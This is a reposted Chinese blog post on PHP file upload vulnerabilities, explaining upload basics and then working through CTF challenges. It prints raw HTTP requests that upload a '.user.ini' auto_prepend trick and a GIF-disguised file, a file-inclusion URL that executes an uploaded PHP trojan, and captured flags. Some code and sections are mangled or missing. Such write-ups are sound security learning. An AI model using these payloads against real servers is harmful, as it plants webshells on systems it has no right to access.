文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

PHP文件上传漏洞

2023-09-15 22:57

关注

前言

 上礼拜一直在搞期中测试和unctf,没啥时间整理,这礼拜继续整理!

PHP文件上传基础以及基本上传流程

文件上传前端:

 前端部分往往都是表单提交,input 的 type 设置为 file 。form 表单会有一个 enctype 属性,在文本提交时默认值是"application/x-www-form-urlencoded"。当有文件上传时,值是 “multipart/form-data”。

文件上传后端:

$_FILES

 php中关于文件上传的一个超全局变量,是一个数组,其包含了所有上传的文件信息

如果上传表单的name属性值为file,即:

<input name="file" type="file" />

$_FILES 数组内容为:

tips: php支持多文件上传,如果有多个文件,则上面的变量将会是一个数组,例如:

<input name="file[]" type="file" /><input name="file[]" type="file" />

则:$_FILES['file']['name'][0] 代表上传的第一个文件的文件名;$_FILES['file']['name'][1]代表上传的第二个文件的文件名

和文件上传相关的一些函数

is_uploaded_file($filename)   判断文件是否是通过HTTP POST上传的

move_uploaded_file($filename, $destination)   将上传的文件移动到新位置

文件上传http包:(中间过程)

 现在我写了个简单的php脚本,让我们抓包看看中间的传递数据的特征,脚本如下:

DOCTYPE html><html><head>    <meta charset="UTF-8"" />       <title>文件上传小测试title>head><body>    <form action='#' enctype='multipart/form-data' method='post' >        <input type='file' name='file' />        <br>        <input type='submit' name='submit' value="提交" />    form>    <hr>body>html>

上传一个简单的木马然后抓包看看。抓到的包如下:

POST /firstdemo/file.php?file=%E5%AD%A6%E4%B9%A0%E9%A1%BA%E5%BA%8F.txt&submit=%E6%8F%90%E4%BA%A4 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,**;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------24060250142092067233788479856Content-Length: 372Origin: http://61.147.171.105:53386Connection: closeReferer: http://61.147.171.105:53386/index.phpUpgrade-Insecure-Requests: 1-----------------------------24060250142092067233788479856Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"Content-Type: image/gifGIF89aauto_prepend_file=1.gif-----------------------------24060250142092067233788479856Content-Disposition: form-data; name="upload"提交-----------------------------24060250142092067233788479856--

在这里注意修改上传文件的Content-Type,只要是能上传的就行,这个对后端解析应该没有影响,接着我们上传 1.gif :

POST /index.php HTTP/1.1Host: 61.147.171.105:53386User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------83647928624379601823415785856Content-Length: 367Origin: http://61.147.171.105:53386Connection: closeReferer: http://61.147.171.105:53386/index.phpUpgrade-Insecure-Requests: 1-----------------------------83647928624379601823415785856Content-Disposition: form-data; name="fileUpload"; filename="1.gif"Content-Type: text/plainGIF89a-----------------------------83647928624379601823415785856Content-Disposition: form-data; name="upload"提交-----------------------------83647928624379601823415785856--

由于.user.ini有个特性:会被动态加载,因此我们就可以直接访问/uploads/index.php,发现1.gif已经被包含进来了,蚁剑直接连接,flag在根目录下。

flag:cyberpeace{93b75be06d39fd5fe532d36e602bcfc8}

3、buu:BUU UPLOAD COURSE 1

 文件上传和文件包含漏洞的结合体。

 一开始以为是图片二次渲染,不管上传什么文件,都会变成jpg后缀的文件,后来验证了一下发现不是,发现有个文件包含:/index.php?file=upload.php,试了一下包含其他文件,发现都不行,纯纯没想法了。

 看了wp,原来就是上传木马后,把jpg文件包含就行…因为之前验证发现上传的文件除了文件名以外不会发生任何改变,因此文件包含之后就可以直接有后门。

payload:

/index.php?file=uploads/638493f180550.jpg   # 后面的就是上传的php木马文件

flag:flag{e52b3267-adf2-488c-b9e1-ef5dc7e72cc0}

参考文章

好文: https://www.cnblogs.com/sherlson/articles/15622018.html

https://lazzzaro.github.io/2020/05/06/web-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/

https://www.anquanke.com/post/id/183046

http://www.bmth666.cn/bmth_blog/2020/10/27/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%EF%BC%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB

https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://xz.aliyun.com/t/2657

来源地址:https://blog.csdn.net/BrosyveryOK/article/details/128085372

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯